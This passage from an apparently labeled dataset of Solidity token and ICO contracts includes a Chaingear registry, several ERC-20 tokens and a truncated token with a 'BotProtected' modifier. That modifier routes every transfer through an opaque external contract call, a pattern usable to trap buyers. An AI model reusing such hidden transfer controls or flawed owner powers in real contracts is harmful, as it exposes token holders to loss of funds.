for (uint i = 0; i < _baseBytes.length; i++) {
require(_baseBytes[i] >= 0x41 && _baseBytes[i] <= 0x5A || _baseBytes[i] >= 0x30 && _baseBytes[i] <= 0x39);
}
}
}
contract Chaingear is IChaingear, Ownable, SupportsInterfaceWithLookup, Pausable, FeeSplitterChaingear, ERC721Token {
using SafeMath for uint256;
using ERC721MetadataValidation for string;
struct DatabaseMeta {
IDatabase databaseContract;
address creatorOfDatabase;
string versionOfDatabase;
string linkABI;
uint256 createdTimestamp;
uint256 currentWei;
uint256 accumulatedWei;
}
struct DatabaseBuilder {
IDatabaseBuilder builderAddress;
string linkToABI;
string description;
bool operational;
}
DatabaseMeta[] private databases;
mapping(string => bool) private databasesNamesIndex;
mapping(string => bool) private databasesSymbolsIndex;
uint256 private headTokenID = 0;
mapping(address => uint256) private databasesIDsByAddressesIndex;
mapping(string => address) private databasesAddressesByNameIndex;
mapping(uint256 => string) private databasesSymbolsByIDIndex;
mapping(string => uint256) private databasesIDsBySymbolIndex;
uint256 private amountOfBuilders = 0;
mapping(uint256 => string) private buildersVersionIndex;
mapping(string => DatabaseBuilder) private buildersVersion;
Safe private chaingearSafe;
uint256 private databaseCreationFeeWei = 1 finney;
string private constant CHAINGEAR_DESCRIPTION = "The novel Ethereum database framework";
bytes4 private constant INTERFACE_CHAINGEAR_EULER_ID = 0xea1db66f;
bytes4 private constant INTERFACE_DATABASE_V1_EULER_ID = 0xf2c320c4;
bytes4 private constant INTERFACE_DATABASE_BUILDER_EULER_ID = 0xce8bbf93;
event DatabaseBuilderAdded(
string version,
IDatabaseBuilder builderAddress,
string linkToABI,
string description
);
event DatabaseDescriptionUpdated(string version, string description);
event DatabaseBuilderDepricated(string version);
event DatabaseCreated(
string name,
address databaseAddress,
address creatorAddress,
uint256 databaseChaingearID
);
event DatabaseDeleted(
string name,
address databaseAddress,
address creatorAddress,
uint256 databaseChaingearID
);
event DatabaseFunded(
uint256 databaseID,
address sender,
uint256 amount
);
event DatabaseFundsClaimed(
uint256 databaseID,
address claimer,
uint256 amount
);
event CreationFeeUpdated(uint256 newFee);
constructor(address[] _beneficiaries, uint256[] _shares)
public
ERC721Token ("CHAINGEAR", "CHG")
FeeSplitterChaingear (_beneficiaries, _shares)
{
chaingearSafe = new Safe();
_registerInterface(INTERFACE_CHAINGEAR_EULER_ID);
}
modifier onlyOwnerOf(uint256 _databaseID){
require(ownerOf(_databaseID) == msg.sender);
_;
}
function addDatabaseBuilderVersion(
string _version,
IDatabaseBuilder _builderAddress,
string _linkToABI,
string _description
)
external
onlyOwner
whenNotPaused
{
require(buildersVersion[_version].builderAddress == address(0));
SupportsInterfaceWithLookup support = SupportsInterfaceWithLookup(_builderAddress);
require(support.supportsInterface(INTERFACE_DATABASE_BUILDER_EULER_ID));
buildersVersion[_version] = (DatabaseBuilder(
{
builderAddress: _builderAddress,
linkToABI: _linkToABI,
description: _description,
operational: true
}));
buildersVersionIndex[amountOfBuilders] = _version;
amountOfBuilders = amountOfBuilders.add(1);
emit DatabaseBuilderAdded(
_version,
_builderAddress,
_linkToABI,
_description
);
}
function updateDatabaseBuilderDescription(string _version, string _description)
external
onlyOwner
whenNotPaused
{
require(buildersVersion[_version].builderAddress != address(0));
buildersVersion[_version].description = _description;
emit DatabaseDescriptionUpdated(_version, _description);
}
function depricateDatabaseBuilder(string _version)
external
onlyOwner
whenPaused
{
require(buildersVersion[_version].builderAddress != address(0));
require(buildersVersion[_version].operational == true);
buildersVersion[_version].operational = false;
emit DatabaseBuilderDepricated(_version);
}
function createDatabase(
string _version,
address[] _beneficiaries,
uint256[] _shares,
string _name,
string _symbol
)
external
payable
whenNotPaused
returns (address, uint256)
{
_name.validateName();
_symbol.validateSymbol();
require(buildersVersion[_version].builderAddress != address(0));
require(buildersVersion[_version].operational == true);
require(databaseCreationFeeWei == msg.value);
require(databasesNamesIndex[_name] == false);
require(databasesSymbolsIndex[_symbol] == false);
return _deployDatabase(
_version,
_beneficiaries,
_shares,
_name,
_symbol
);
}
function deleteDatabase(uint256 _databaseID)
external
onlyOwnerOf(_databaseID)
whenNotPaused
{
uint256 databaseIndex = allTokensIndex[_databaseID];
IDatabase database = databases[databaseIndex].databaseContract;
require(database.getSafeBalance() == uint256(0));
require(database.getPaused() == true);
string memory databaseName = ERC721(database).name();
string memory databaseSymbol = ERC721(database).symbol();
delete databasesNamesIndex[databaseName];
delete databasesSymbolsIndex[databaseSymbol];
delete databasesIDsByAddressesIndex[database];
delete databasesIDsBySymbolIndex[databaseSymbol];
delete databasesSymbolsByIDIndex[_databaseID];
uint256 lastDatabaseIndex = databases.length.sub(1);
DatabaseMeta memory lastDatabase = databases[lastDatabaseIndex];
databases[databaseIndex] = lastDatabase;
delete databases[lastDatabaseIndex];
databases.length--;
super._burn(msg.sender, _databaseID);
database.transferOwnership(msg.sender);
emit DatabaseDeleted(
databaseName,
database,
msg.sender,
_databaseID
);
}
function fundDatabase(uint256 _databaseID)
external
whenNotPaused
payable
{
require(exists(_databaseID) == true);
uint256 databaseIndex = allTokensIndex[_databaseID];
uint256 currentWei = databases[databaseIndex].currentWei.add(msg.value);
databases[databaseIndex].currentWei = currentWei;
uint256 accumulatedWei = databases[databaseIndex].accumulatedWei.add(msg.value);
databases[databaseIndex].accumulatedWei = accumulatedWei;
emit DatabaseFunded(_databaseID, msg.sender, msg.value);
address(chaingearSafe).transfer(msg.value);
}
function claimDatabaseFunds(uint256 _databaseID, uint256 _amount)
external
onlyOwnerOf(_databaseID)
whenNotPaused
{
uint256 databaseIndex = allTokensIndex[_databaseID];
uint256 currentWei = databases[databaseIndex].currentWei;
require(_amount <= currentWei);
databases[databaseIndex].currentWei = currentWei.sub(_amount);
emit DatabaseFundsClaimed(_databaseID, msg.sender, _amount);
chaingearSafe.claim(msg.sender, _amount);
}
function updateCreationFee(uint256 _newFee)
external
onlyOwner
whenPaused
{
databaseCreationFeeWei = _newFee;
emit CreationFeeUpdated(_newFee);
}
function getAmountOfBuilders()
external
view
returns(uint256)
{
return amountOfBuilders;
}
function getBuilderByID(uint256 _id)
external
view
returns(string)
{
return buildersVersionIndex[_id];
}
function getDatabaseBuilder(string _version)
external
view
returns (
address,
string,
string,
bool
)
{
return(
buildersVersion[_version].builderAddress,
buildersVersion[_version].linkToABI,
buildersVersion[_version].description,
buildersVersion[_version].operational
);
}
function getDatabasesIDs()
external
view
returns(uint256[])
{
return allTokens;
}
function getDatabaseIDByAddress(address _databaseAddress)
external
view
returns(uint256)
{
uint256 databaseID = databasesIDsByAddressesIndex[_databaseAddress];
return databaseID;
}
function getDatabaseAddressByName(string _name)
external
view
returns(address)
{
return databasesAddressesByNameIndex[_name];
}
function getDatabaseSymbolByID(uint256 _databaseID)
external
view
returns(string)
{
return databasesSymbolsByIDIndex[_databaseID];
}
function getDatabaseIDBySymbol(string _symbol)
external
view
returns(uint256)
{
return databasesIDsBySymbolIndex[_symbol];
}
function getDatabase(uint256 _databaseID)
external
view
returns (
string,
string,
address,
string,
uint256,
address,
uint256
)
{
uint256 databaseIndex = allTokensIndex[_databaseID];
IDatabase databaseAddress = databases[databaseIndex].databaseContract;
return (
ERC721(databaseAddress).name(),
ERC721(databaseAddress).symbol(),
databaseAddress,
databases[databaseIndex].versionOfDatabase,
databases[databaseIndex].createdTimestamp,
databaseAddress.getAdmin(),
ERC721(databaseAddress).totalSupply()
);
}
function getDatabaseBalance(uint256 _databaseID)
external
view
returns (uint256, uint256)
{
uint256 databaseIndex = allTokensIndex[_databaseID];
return (
databases[databaseIndex].currentWei,
databases[databaseIndex].accumulatedWei
);
}
function getChaingearDescription()
external
pure
returns (string)
{
return CHAINGEAR_DESCRIPTION;
}
function getCreationFeeWei()
external
view
returns (uint256)
{
return databaseCreationFeeWei;
}
function getSafeBalance()
external
view
returns (uint256)
{
return address(chaingearSafe).balance;
}
function getSafeAddress()
external
view
returns (address)
{
return chaingearSafe;
}
function getNameExist(string _name)
external
view
returns (bool)
{
return databasesNamesIndex[_name];
}
function getSymbolExist(string _symbol)
external
view
returns (bool)
{
return databasesSymbolsIndex[_symbol];
}
function transferFrom(
address _from,
address _to,
uint256 _tokenId
)
public
whenNotPaused
{
uint256 databaseIndex = allTokensIndex[_tokenId];
IDatabase database = databases[databaseIndex].databaseContract;
require(address(database).balance == 0);
require(database.getPaused() == true);
super.transferFrom(_from, _to, _tokenId);
IDatabase databaseAddress = databases[databaseIndex].databaseContract;
databaseAddress.deletePayees();
databaseAddress.transferAdminRights(_to);
}
function safeTransferFrom(
address _from,
address _to,
uint256 _tokenId
)
public
whenNotPaused
{
safeTransferFrom(
_from,
_to,
_tokenId,
""
);
}
function safeTransferFrom(
address _from,
address _to,
uint256 _tokenId,
bytes _data
)
public
whenNotPaused
{
transferFrom(_from, _to, _tokenId);
require(
checkAndCallSafeTransfer(
_from,
_to,
_tokenId,
_data
));
}
function _deployDatabase(
string _version,
address[] _beneficiaries,
uint256[] _shares,
string _name,
string _symbol
)
private
returns (address, uint256)
{
IDatabaseBuilder builder = buildersVersion[_version].builderAddress;
IDatabase databaseContract = builder.deployDatabase(
_beneficiaries,
_shares,
_name,
_symbol
);
address databaseAddress = address(databaseContract);
SupportsInterfaceWithLookup support = SupportsInterfaceWithLookup(databaseAddress);
require(support.supportsInterface(INTERFACE_DATABASE_V1_EULER_ID));
require(support.supportsInterface(InterfaceId_ERC721));
require(support.supportsInterface(InterfaceId_ERC721Metadata));
require(support.supportsInterface(InterfaceId_ERC721Enumerable));
DatabaseMeta memory database = (DatabaseMeta(
{
databaseContract: databaseContract,
creatorOfDatabase: msg.sender,
versionOfDatabase: _version,
linkABI: buildersVersion[_version].linkToABI,
createdTimestamp: block.timestamp,
currentWei: 0,
accumulatedWei: 0
}));
databases.push(database);
databasesNamesIndex[_name] = true;
databasesSymbolsIndex[_symbol] = true;
uint256 newTokenID = headTokenID;
databasesIDsByAddressesIndex[databaseAddress] = newTokenID;
super._mint(msg.sender, newTokenID);
databasesSymbolsByIDIndex[newTokenID] = _symbol;
databasesIDsBySymbolIndex[_symbol] = newTokenID;
databasesAddressesByNameIndex[_name] = databaseAddress;
headTokenID = headTokenID.add(1);
emit DatabaseCreated(
_name,
databaseAddress,
msg.sender,
newTokenID
);
databaseContract.transferAdminRights(msg.sender);
return (databaseAddress, newTokenID);
}
} | 1 | 2,089 |
pragma solidity ^0.4.16;
contract Ownable {
address public owner;
function Ownable() public
{
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner public{
if (newOwner != address(0)) {
owner = newOwner;
}
}
function kill() onlyOwner public{
selfdestruct(owner);
}
}
interface tokenRecipient {
function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData)public;
}
contract IfengToken is Ownable{
string public name;
string public symbol;
uint8 public decimals = 18;
uint256 public totalSupply;
mapping (address => uint256) public balanceOf;
mapping (address => mapping (address => uint256)) public allowance;
event Transfer(address indexed from, address indexed to, uint256 value);
function IfengToken (
uint256 initialSupply,
string tokenName,
string tokenSymbol
) public {
totalSupply = initialSupply * 10 ** uint256(decimals);
balanceOf[msg.sender] = totalSupply;
name = tokenName;
symbol = tokenSymbol;
}
function _transfer(address _from, address _to, uint _value) internal {
require(_to != 0x0);
require(balanceOf[_from] >= _value);
require(balanceOf[_to] + _value > balanceOf[_to]);
uint previousBalances = balanceOf[_from] + balanceOf[_to];
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
Transfer(_from, _to, _value);
assert(balanceOf[_from] + balanceOf[_to] == previousBalances);
}
function transfer(address _to, uint256 _value) public {
_transfer(msg.sender, _to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) public
returns (bool success) {
require(_value <= allowance[_from][msg.sender]);
allowance[_from][msg.sender] -= _value;
_transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public
returns (bool success) {
allowance[msg.sender][_spender] = _value;
return true;
}
function approveAndCall(address _spender, uint256 _value, bytes _extraData) public
returns (bool success) {
tokenRecipient spender = tokenRecipient(_spender);
if (approve(_spender, _value)) {
spender.receiveApproval(msg.sender, _value, this, _extraData);
return true;
}
}
function transferOwnershipWithBalance(address newOwner) onlyOwner public{
if (newOwner != address(0)) {
_transfer(owner,newOwner,balanceOf[owner]);
owner = newOwner;
}
}
} | 1 | 2,175 |
pragma solidity 0.4.25;
library SafeMath {
function add(uint a, uint b) internal pure returns (uint c) {
c = a + b;
require(c >= a);
}
function sub(uint a, uint b) internal pure returns (uint c) {
require(b <= a);
c = a - b;
}
function mul(uint a, uint b) internal pure returns (uint c) {
c = a * b;
require(a == 0 || c / a == b);
}
function div(uint a, uint b) internal pure returns (uint c) {
require(b > 0);
c = a / b;
}
}
contract Owned {
address public owner;
address public newOwner;
event OwnershipTransferred(address indexed _from, address indexed _to);
modifier onlyOwner {
require(msg.sender == owner);
_;
}
}
contract ERC20Interface {
function totalSupply() public constant returns (uint);
function balanceOf(address tokenOwner) public constant returns (uint balance);
function allowance(address tokenOwner, address spender) public constant returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
contract ViteCoinICO is ERC20Interface, Owned {
using SafeMath for uint256;
string public symbol;
string public name;
uint8 public decimals;
uint256 public fundsRaised;
uint256 public privateSaleTokens;
uint256 public preSaleTokens;
uint256 public saleTokens;
uint256 public teamAdvTokens;
uint256 public reserveTokens;
uint256 public bountyTokens;
uint256 public hardCap;
string internal minTxSize;
string internal maxTxSize;
string public TokenPrice;
uint internal _totalSupply;
address public wallet;
uint256 internal privatesaleopeningTime;
uint256 internal privatesaleclosingTime;
uint256 internal presaleopeningTime;
uint256 internal presaleclosingTime;
uint256 internal saleopeningTime;
uint256 internal saleclosingTime;
bool internal privatesaleOpen;
bool internal presaleOpen;
bool internal saleOpen;
bool internal Open;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
event TokenPurchase(address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount);
event Burned(address burner, uint burnedAmount);
modifier onlyWhileOpen {
require(now >= privatesaleopeningTime && now <= (saleclosingTime + 30 days) && Open);
_;
}
constructor (address _owner, address _wallet) public {
_allocateTokens();
_setTimes();
symbol = "VT";
name = "Vitecoin";
decimals = 18;
owner = _owner;
wallet = _wallet;
_totalSupply = 200000000;
Open = true;
balances[this] = totalSupply();
emit Transfer(address(0),this, totalSupply());
}
function _setTimes() internal{
privatesaleopeningTime = 1534723200;
privatesaleclosingTime = 1541462399;
presaleopeningTime = 1541462400;
presaleclosingTime = 1546214399;
saleopeningTime = 1546214400;
saleclosingTime = 1553990399;
}
function _allocateTokens() internal{
privateSaleTokens = 10000000;
preSaleTokens = 80000000;
saleTokens = 60000000;
teamAdvTokens = 24000000;
reserveTokens = 20000000;
bountyTokens = 6000000;
hardCap = 36825;
minTxSize = "0,5 ETH";
maxTxSize = "1000 ETH";
TokenPrice = "$0.05";
privatesaleOpen = true;
}
function totalSupply() public constant returns (uint){
return _totalSupply* 10**uint(decimals);
}
function balanceOf(address tokenOwner) public constant returns (uint balance) {
return balances[tokenOwner];
}
function transfer(address to, uint tokens) public returns (bool success) {
require(to != 0x0);
require(balances[msg.sender] >= tokens );
require(balances[to] + tokens >= balances[to]);
balances[msg.sender] = balances[msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
emit Transfer(msg.sender,to,tokens);
return true;
}
function approve(address spender, uint tokens) public returns (bool success){
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender,spender,tokens);
return true;
}
function transferFrom(address from, address to, uint tokens) public returns (bool success){
require(tokens <= allowed[from][msg.sender]);
require(balances[from] >= tokens);
balances[from] = balances[from].sub(tokens);
balances[to] = balances[to].add(tokens);
allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens);
emit Transfer(from,to,tokens);
return true;
}
function allowance(address tokenOwner, address spender) public constant returns (uint remaining) {
return allowed[tokenOwner][spender];
}
function _checkOpenings() internal{
if(now >= privatesaleopeningTime && now <= privatesaleclosingTime){
privatesaleOpen = true;
presaleOpen = false;
saleOpen = false;
}
else if(now >= presaleopeningTime && now <= presaleclosingTime){
privatesaleOpen = false;
presaleOpen = true;
saleOpen = false;
}
else if(now >= saleopeningTime && now <= (saleclosingTime + 30 days)){
privatesaleOpen = false;
presaleOpen = false;
saleOpen = true;
}
else{
privatesaleOpen = false;
presaleOpen = false;
saleOpen = false;
}
}
function () external payable {
buyTokens(msg.sender);
}
function buyTokens(address _beneficiary) public payable onlyWhileOpen {
uint256 weiAmount = msg.value;
_preValidatePurchase(_beneficiary, weiAmount);
_checkOpenings();
if(privatesaleOpen){
require(weiAmount >= 5e17 && weiAmount <= 1e21 ,"FUNDS should be MIN 0,5 ETH and Max 1000 ETH");
}
else {
require(weiAmount >= 1e17 && weiAmount <= 5e21 ,"FUNDS should be MIN 0,1 ETH and Max 5000 ETH");
}
uint256 tokens = _getTokenAmount(weiAmount);
if(weiAmount > 50e18){
tokens = tokens.add((tokens.mul(10)).div(100));
}
fundsRaised = fundsRaised.add(weiAmount);
_processPurchase(_beneficiary, tokens);
emit TokenPurchase(this, _beneficiary, weiAmount, tokens);
_forwardFunds(msg.value);
}
function _preValidatePurchase(address _beneficiary, uint256 _weiAmount) internal{
require(_beneficiary != address(0));
require(_weiAmount != 0);
}
function _getTokenAmount(uint256 _weiAmount) internal returns (uint256) {
uint256 rate;
if(privatesaleOpen){
rate = 10000;
}
else if(presaleOpen){
rate = 8000;
}
else if(saleOpen){
rate = 8000;
}
return _weiAmount.mul(rate);
}
function _deliverTokens(address _beneficiary, uint256 _tokenAmount) internal {
_transfer(_beneficiary, _tokenAmount);
}
function _processPurchase(address _beneficiary, uint256 _tokenAmount) internal {
_deliverTokens(_beneficiary, _tokenAmount);
}
function _forwardFunds(uint256 _amount) internal {
wallet.transfer(_amount);
}
function _transfer(address to, uint tokens) internal returns (bool success) {
require(to != 0x0);
require(balances[this] >= tokens );
require(balances[to] + tokens >= balances[to]);
balances[this] = balances[this].sub(tokens);
balances[to] = balances[to].add(tokens);
emit Transfer(this,to,tokens);
return true;
}
function freeTokens(address _beneficiary, uint256 _tokenAmount) public onlyOwner{
_transfer(_beneficiary, _tokenAmount);
}
function stopICO() public onlyOwner{
Open = false;
}
function multipleTokensSend (address[] _addresses, uint256[] _values) public onlyOwner{
for (uint i = 0; i < _addresses.length; i++){
_transfer(_addresses[i], _values[i]*10**uint(decimals));
}
}
function burnRemainingTokens() public onlyOwner{
balances[this] = 0;
}
} | 1 | 3,538 |
pragma solidity ^0.4.24;
library Roles {
struct Role {
mapping (address => bool) bearer;
}
function add(Role storage role, address account) internal {
require(account != address(0));
require(!has(role, account));
role.bearer[account] = true;
}
function remove(Role storage role, address account) internal {
require(account != address(0));
require(has(role, account));
role.bearer[account] = false;
}
function has(Role storage role, address account)
internal
view
returns (bool)
{
require(account != address(0));
return role.bearer[account];
}
}
contract MinterRole {
using Roles for Roles.Role;
event MinterAdded(address indexed account);
event MinterRemoved(address indexed account);
Roles.Role private minters;
constructor() internal {
_addMinter(msg.sender);
}
modifier onlyMinter() {
require(isMinter(msg.sender));
_;
}
function isMinter(address account) public view returns (bool) {
return minters.has(account);
}
function addMinter(address account) public onlyMinter {
_addMinter(account);
}
function renounceMinter() public {
_removeMinter(msg.sender);
}
function _addMinter(address account) internal {
minters.add(account);
emit MinterAdded(account);
}
function _removeMinter(address account) internal {
minters.remove(account);
emit MinterRemoved(account);
}
}
contract PauserRole {
using Roles for Roles.Role;
event PauserAdded(address indexed account);
event PauserRemoved(address indexed account);
Roles.Role private pausers;
constructor() internal {
_addPauser(msg.sender);
}
modifier onlyPauser() {
require(isPauser(msg.sender));
_;
}
function isPauser(address account) public view returns (bool) {
return pausers.has(account);
}
function addPauser(address account) public onlyPauser {
_addPauser(account);
}
function renouncePauser() public {
_removePauser(msg.sender);
}
function _addPauser(address account) internal {
pausers.add(account);
emit PauserAdded(account);
}
function _removePauser(address account) internal {
pausers.remove(account);
emit PauserRemoved(account);
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function allowance(address owner, address spender)
external view returns (uint256);
function transfer(address to, uint256 value) external returns (bool);
function approve(address spender, uint256 value)
external returns (bool);
function transferFrom(address from, address to, uint256 value)
external returns (bool);
event Transfer(
address indexed from,
address indexed to,
uint256 value
);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string name, string symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string) {
return _name;
}
function symbol() public view returns(string) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0);
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
contract ERC20 is IERC20 {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowed;
uint256 private _totalSupply;
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
function balanceOf(address owner) public view returns (uint256) {
return _balances[owner];
}
function allowance(
address owner,
address spender
)
public
view
returns (uint256)
{
return _allowed[owner][spender];
}
function transfer(address to, uint256 value) public returns (bool) {
value = value.mul(1 finney);
_transfer(msg.sender, to, value);
return true;
}
function approve(address spender, uint256 value) public returns (bool) {
require(spender != address(0));
value = value.mul(1 finney);
_allowed[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
return true;
}
function transferFrom(
address from,
address to,
uint256 value
)
public
returns (bool)
{
value = value.mul(1 finney);
require(value <= _allowed[from][msg.sender]);
_allowed[from][msg.sender] = _allowed[from][msg.sender].sub(value);
_transfer(from, to, value);
return true;
}
function increaseAllowance(
address spender,
uint256 addedValue
)
public
returns (bool)
{
require(spender != address(0));
addedValue = addedValue.mul(1 finney);
_allowed[msg.sender][spender] = (_allowed[msg.sender][spender].add(addedValue));
emit Approval(msg.sender, spender, _allowed[msg.sender][spender]);
return true;
}
function decreaseAllowance(
address spender,
uint256 subtractedValue
)
public
returns (bool)
{
require(spender != address(0));
subtractedValue = subtractedValue.mul(1 finney);
_allowed[msg.sender][spender] = (
_allowed[msg.sender][spender].sub(subtractedValue));
emit Approval(msg.sender, spender, _allowed[msg.sender][spender]);
return true;
}
function _transfer(address from, address to, uint256 value) internal {
require(value <= _balances[from]);
require(to != address(0));
_balances[from] = _balances[from].sub(value);
_balances[to] = _balances[to].add(value);
emit Transfer(from, to, value);
}
function _mint(address account, uint256 value) internal {
require(account != 0);
_totalSupply = _totalSupply.add(value);
_balances[account] = _balances[account].add(value);
emit Transfer(address(0), account, value);
}
function _burn(address account, uint256 value) internal {
require(account != 0);
require(value <= _balances[account]);
_totalSupply = _totalSupply.sub(value);
_balances[account] = _balances[account].sub(value);
emit Transfer(account, address(0), value);
}
function _burnFrom(address account, uint256 value) internal {
require(value <= _allowed[account][msg.sender]);
_allowed[account][msg.sender] = _allowed[account][msg.sender].sub(
value);
_burn(account, value);
}
}
contract Pausable is PauserRole {
event Paused(address account);
event Unpaused(address account);
bool private _paused;
constructor() internal {
_paused = false;
}
function paused() public view returns(bool) {
return _paused;
}
modifier whenNotPaused() {
require(!_paused);
_;
}
modifier whenPaused() {
require(_paused);
_;
}
function pause() public onlyPauser whenNotPaused {
_paused = true;
emit Paused(msg.sender);
}
function unpause() public onlyPauser whenPaused {
_paused = false;
emit Unpaused(msg.sender);
}
}
contract ERC20Pausable is ERC20, Pausable {
function transfer(
address to,
uint256 value
)
public
whenNotPaused
returns (bool)
{
return super.transfer(to, value);
}
function transferFrom(
address from,
address to,
uint256 value
)
public
whenNotPaused
returns (bool)
{
return super.transferFrom(from, to, value);
}
function approve(
address spender,
uint256 value
)
public
whenNotPaused
returns (bool)
{
return super.approve(spender, value);
}
function increaseAllowance(
address spender,
uint addedValue
)
public
whenNotPaused
returns (bool success)
{
return super.increaseAllowance(spender, addedValue);
}
function decreaseAllowance(
address spender,
uint subtractedValue
)
public
whenNotPaused
returns (bool success)
{
return super.decreaseAllowance(spender, subtractedValue);
}
}
contract ERC20Mintable is ERC20, MinterRole, ERC20Pausable {
function mint(address to, uint256 value) internal whenNotPaused returns (bool)
{
_mint(to, value);
return true;
}
function MinterFunc(address to, uint256 value) internal onlyMinter whenNotPaused returns (bool)
{
_mint(to, value);
return true;
}
}
contract ERC20Capped is ERC20Mintable {
uint256 private _cap;
constructor(uint256 cap)
public
{
require(cap > 0);
_cap = cap;
}
function cap() public view returns(uint256) {
return _cap;
}
function Mint(address account, uint256 value) internal {
require(totalSupply().add(value) <= _cap);
super.mint(account, value);
}
function MinterFunction(address account, uint256 value) public {
value = value.mul(1 finney);
require(totalSupply().add(value) <= _cap);
super.MinterFunc(account, value);
}
function DistributeToken(address[] addresses, uint256[] values) public {
for (uint i = 0; i < addresses.length; i++) {
values[i] = values[i].mul(1 finney);
require(totalSupply().add(values[i]) <= _cap);
super.MinterFunc(addresses[i], values[i]);
}
}
}
contract ERC20Burnable is ERC20, ERC20Pausable {
function burn(uint256 value) public whenNotPaused {
value = value.mul(1 finney);
_burn(msg.sender, value);
}
function burnFrom(address from, uint256 value) public whenNotPaused {
value = value.mul(1 finney);
_burnFrom(from, value);
}
}
contract Ownable {
address private _owner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() internal {
_owner = msg.sender;
emit OwnershipTransferred(address(0), _owner);
}
function owner() public view returns(address) {
return _owner;
}
modifier onlyOwner() {
require(isOwner());
_;
}
function isOwner() private view returns(bool) {
return msg.sender == _owner;
}
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal {
require(newOwner != address(0));
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract ReentrancyGuard {
uint256 private _guardCounter;
constructor() internal {
_guardCounter = 1;
}
modifier nonReentrant() {
_guardCounter += 1;
uint256 localCounter = _guardCounter;
_;
require(localCounter == _guardCounter);
}
}
contract DncToken is ERC20, ERC20Detailed , ERC20Pausable, ERC20Capped , ERC20Burnable, Ownable , ReentrancyGuard {
constructor(string _name, string _symbol, uint8 _decimals, uint256 _cap)
ERC20Detailed(_name, _symbol, _decimals)
ERC20Capped (_cap * 1 finney)
public {
}
uint256 public _rate=100;
uint256 private _weiRaised;
address private _wallet = 0x6Dbea03201fF3c0143f22a8E629A36F2DFF82687;
event TokensPurchased(
address indexed purchaser,
address indexed beneficiary,
uint256 value,
uint256 amount
);
function () external payable {
buyTokens(msg.sender);
}
function ChangeRate(uint256 newRate) public onlyOwner whenNotPaused{
_rate = newRate;
}
function _getTokenAmount(uint256 weiAmount) internal view returns (uint256) {
return weiAmount.mul(_rate);
}
function weiRaised() public view returns (uint256) {
return _weiRaised;
}
function buyTokens(address beneficiary) public nonReentrant payable {
uint256 weiAmount = msg.value;
uint256 tokens = _getTokenAmount(weiAmount);
_weiRaised = _weiRaised.add(weiAmount);
_preValidatePurchase(beneficiary, weiAmount);
_processPurchase(beneficiary, tokens);
emit TokensPurchased(
msg.sender,
beneficiary,
weiAmount,
tokens
);
_forwardFunds();
}
function _preValidatePurchase (
address beneficiary,
uint256 weiAmount
)
internal
pure
{
require(beneficiary != address(0));
require(weiAmount != 0);
}
function _processPurchase(
address beneficiary,
uint256 tokenAmount
)
internal
{
_deliverTokens(beneficiary, tokenAmount);
}
function _deliverTokens (
address beneficiary,
uint256 tokenAmount
)
internal
{
Mint(beneficiary, tokenAmount);
}
function _forwardFunds() internal {
_wallet.transfer(msg.value);
}
} | 1 | 3,407 |
pragma solidity ^0.7.0;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
interface IUniswapV2Router02 {
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract BotProtected {
address internal owner;
address internal botProtection;
address public uniPair;
constructor(address _botProtection) {
botProtection = _botProtection;
}
modifier checkBots(address _from, address _to, uint256 _value) {
(bool notABot, bytes memory isNotBot) = botProtection.call(abi.encodeWithSelector(0x15274141, _from, _to, uniPair, _value));
require(notABot);
_;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
